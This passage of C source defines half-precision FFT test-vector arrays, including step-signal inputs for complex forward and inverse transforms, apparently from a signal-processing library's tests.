0x0, 0x0, 0xbb33, 0xbceb, 0x0, 0x0, 0xbb33, 0xbd0c,
0x0, 0x0, 0xbb33, 0xbd2e, 0x0, 0x0, 0xbb33, 0xbd51,
0x0, 0x0, 0xbb33, 0xbd76, 0x0, 0x0, 0xbb33, 0xbd9c,
0x0, 0x0, 0xbb33, 0xbdc3, 0x0, 0x0, 0xbb33, 0xbdec,
0x0, 0x0, 0xbb33, 0xbe17, 0x0, 0x0, 0xbb33, 0xbe44,
0x0, 0x0, 0xbb33, 0xbe72, 0x0, 0x0, 0xbb33, 0xbea3,
0x0, 0x0, 0xbb33, 0xbed6, 0x0, 0x0, 0xbb33, 0xbf0b,
0x0, 0x0, 0xbb33, 0xbf43, 0x0, 0x0, 0xbb33, 0xbf7e,
0x0, 0x0, 0xbb33, 0xbfbc, 0x0, 0x0, 0xbb33, 0xbffd,
0x0, 0x0, 0xbb33, 0xc021, 0x0, 0x0, 0xbb33, 0xc045,
0x0, 0x0, 0xbb33, 0xc06c, 0x0, 0x0, 0xbb33, 0xc095,
0x0, 0x0, 0xbb33, 0xc0c1, 0x0, 0x0, 0xbb33, 0xc0ef,
0x0, 0x0, 0xbb33, 0xc121, 0x0, 0x0, 0xbb33, 0xc157,
0x0, 0x0, 0xbb33, 0xc190, 0x0, 0x0, 0xbb33, 0xc1ce,
0x0, 0x0, 0xbb33, 0xc211, 0x0, 0x0, 0xbb33, 0xc25a,
0x0, 0x0, 0xbb33, 0xc2aa, 0x0, 0x0, 0xbb33, 0xc301,
0x0, 0x0, 0xbb33, 0xc361, 0x0, 0x0, 0xbb33, 0xc3cb,
0x0, 0x0, 0xbb33, 0xc420, 0x0, 0x0, 0xbb33, 0xc462,
0x0, 0x0, 0xbb33, 0xc4ad, 0x0, 0x0, 0xbb33, 0xc501,
0x0, 0x0, 0xbb33, 0xc562, 0x0, 0x0, 0xbb33, 0xc5d2,
0x0, 0x0, 0xbb33, 0xc656, 0x0, 0x0, 0xbb33, 0xc6f2,
0x0, 0x0, 0xbb33, 0xc7af, 0x0, 0x0, 0xbb33, 0xc84c,
0x0, 0x0, 0xbb33, 0xc8e0, 0x0, 0x0, 0xbb33, 0xc9a1,
0x0, 0x0, 0xbb33, 0xcaa8, 0x0, 0x0, 0xbb33, 0xcc12,
0x0, 0x0, 0xbb33, 0xcd3c, 0x0, 0x0, 0xbb33, 0xcf55,
0x0, 0x0, 0xbb33, 0xd21c, 0x0, 0x0, 0xbb33, 0xd895
};
static const uint16_t in_cfft_step_1024[2048] = {
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0
};
static const uint16_t in_cifft_step_1024[2048] = {
0x5f33, 0x0, 0xbb33, 0x5c95, 0x0, 0x0, 0xbb33, 0x561d,
0x0, 0x0, 0xbb33, 0x5355, 0x0, 0x0, 0xbb33, 0x513d,
0x0, 0x0, 0xbb33, 0x5013, 0x0, 0x0, 0xbb33, 0x4eaa,
0x0, 0x0, 0xbb33, 0x4da3, 0x0, 0x0, 0xbb33, 0x4ce3,
0x0, 0x0, 0xbb33, 0x4c4f, 0x0, 0x0, 0xbb33, 0x4bb6,
0x0, 0x0, 0xbb33, 0x4afa, 0x0, 0x0, 0xbb33, 0x4a5e,
0x0, 0x0, 0xbb33, 0x49db, 0x0, 0x0, 0xbb33, 0x496c,
0x0, 0x0, 0xbb33, 0x490b, 0x0, 0x0, 0xbb33, 0x48b8,
0x0, 0x0, 0xbb33, 0x486e, 0x0, 0x0, 0xbb33, 0x482d,
0x0, 0x0, 0xbb33, 0x47e5, 0x0, 0x0, 0xbb33, 0x477c,
0x0, 0x0, 0xbb33, 0x471e, 0x0, 0x0, 0xbb33, 0x46c8,
0x0, 0x0, 0xbb33, 0x467a, 0x0, 0x0, 0xbb33, 0x4633,
0x0, 0x0, 0xbb33, 0x45f1, 0x0, 0x0, 0xbb33, 0x45b4,
0x0, 0x0, 0xbb33, 0x457c, 0x0, 0x0, 0xbb33, 0x4548,
0x0, 0x0, 0xbb33, 0x4518, 0x0, 0x0, 0xbb33, 0x44eb,
0x0, 0x0, 0xbb33, 0x44c1, 0x0, 0x0, 0xbb33, 0x4499,
0x0, 0x0, 0xbb33, 0x4474, 0x0, 0x0, 0xbb33, 0x4451,
0x0, 0x0, 0xbb33, 0x4430, 0x0, 0x0, 0xbb33, 0x4411,
0x0, 0x0, 0xbb33, 0x43e7, 0x0, 0x0, 0xbb33, 0x43af,
0x0, 0x0, 0xbb33, 0x437a, 0x0, 0x0, 0xbb33, 0x4348,
0x0, 0x0, 0xbb33, 0x4318, 0x0, 0x0, 0xbb33, 0x42ea,
0x0, 0x0, 0xbb33, 0x42bf, 0x0, 0x0, 0xbb33, 0x4295,
0x0, 0x0, 0xbb33, 0x426d, 0x0, 0x0, 0xbb33, 0x4247,
0x0, 0x0, 0xbb33, 0x4223, 0x0, 0x0, 0xbb33, 0x4200,
0x0, 0x0, 0xbb33, 0x41de, 0x0, 0x0, 0xbb33, 0x41be,
0x0, 0x0, 0xbb33, 0x419f, 0x0, 0x0, 0xbb33, 0x4181,
0x0, 0x0, 0xbb33, 0x4165, 0x0, 0x0, 0xbb33, 0x4149,
0x0, 0x0, 0xbb33, 0x412e, 0x0, 0x0, 0xbb33, 0x4114,
0x0, 0x0, 0xbb33, 0x40fb, 0x0, 0x0, 0xbb33, 0x40e3,
0x0, 0x0, 0xbb33, 0x40cc, 0x0, 0x0, 0xbb33, 0x40b6,
0x0, 0x0, 0xbb33, 0x40a0, 0x0, 0x0, 0xbb33, 0x408b,
0x0, 0x0, 0xbb33, 0x4076, 0x0, 0x0, 0xbb33, 0x4062,
0x0, 0x0, 0xbb33, 0x404f, 0x0, 0x0, 0xbb33, 0x403c,
0x0, 0x0, 0xbb33, 0x402a, 0x0, 0x0, 0xbb33, 0x4018,
0x0, 0x0, 0xbb33, 0x4007, 0x0, 0x0, 0xbb33, 0x3fec,
0x0, 0x0, 0xbb33, 0x3fcc, 0x0, 0x0, 0xbb33, 0x3fac,
0x0, 0x0, 0xbb33, 0x3f8d, 0x0, 0x0, 0xbb33, 0x3f6f,
0x0, 0x0, 0xbb33, 0x3f52, 0x0, 0x0, 0xbb33, 0x3f35,
0x0, 0x0, 0xbb33, 0x3f19, 0x0, 0x0, 0xbb33, 0x3efe,
0x0, 0x0, 0xbb33, 0x3ee3, 0x0, 0x0, 0xbb33, 0x3ec9,
0x0, 0x0, 0xbb33, 0x3eb0, 0x0, 0x0, 0xbb33, 0x3e97,
0x0, 0x0, 0xbb33, 0x3e7e, 0x0, 0x0, 0xbb33, 0x3e67,
0x0, 0x0, 0xbb33, 0x3e4f, 0x0, 0x0, 0xbb33, 0x3e38,
0x0, 0x0, 0xbb33, 0x3e22, 0x0, 0x0, 0xbb33, 0x3e0c,
0x0, 0x0, 0xbb33, 0x3df7, 0x0, 0x0, 0xbb33, 0x3de2,
0x0, 0x0, 0xbb33, 0x3dcd, 0x0, 0x0, 0xbb33, 0x3db9,
0x0, 0x0, 0xbb33, 0x3da6, 0x0, 0x0, 0xbb33, 0x3d92,
0x0, 0x0, 0xbb33, 0x3d7f, 0x0, 0x0, 0xbb33, 0x3d6c,
0x0, 0x0, 0xbb33, 0x3d5a, 0x0, 0x0, 0xbb33, 0x3d48,
0x0, 0x0, 0xbb33, 0x3d36, 0x0, 0x0, 0xbb33, 0x3d25,
0x0, 0x0, 0xbb33, 0x3d14, 0x0, 0x0, 0xbb33, 0x3d03,
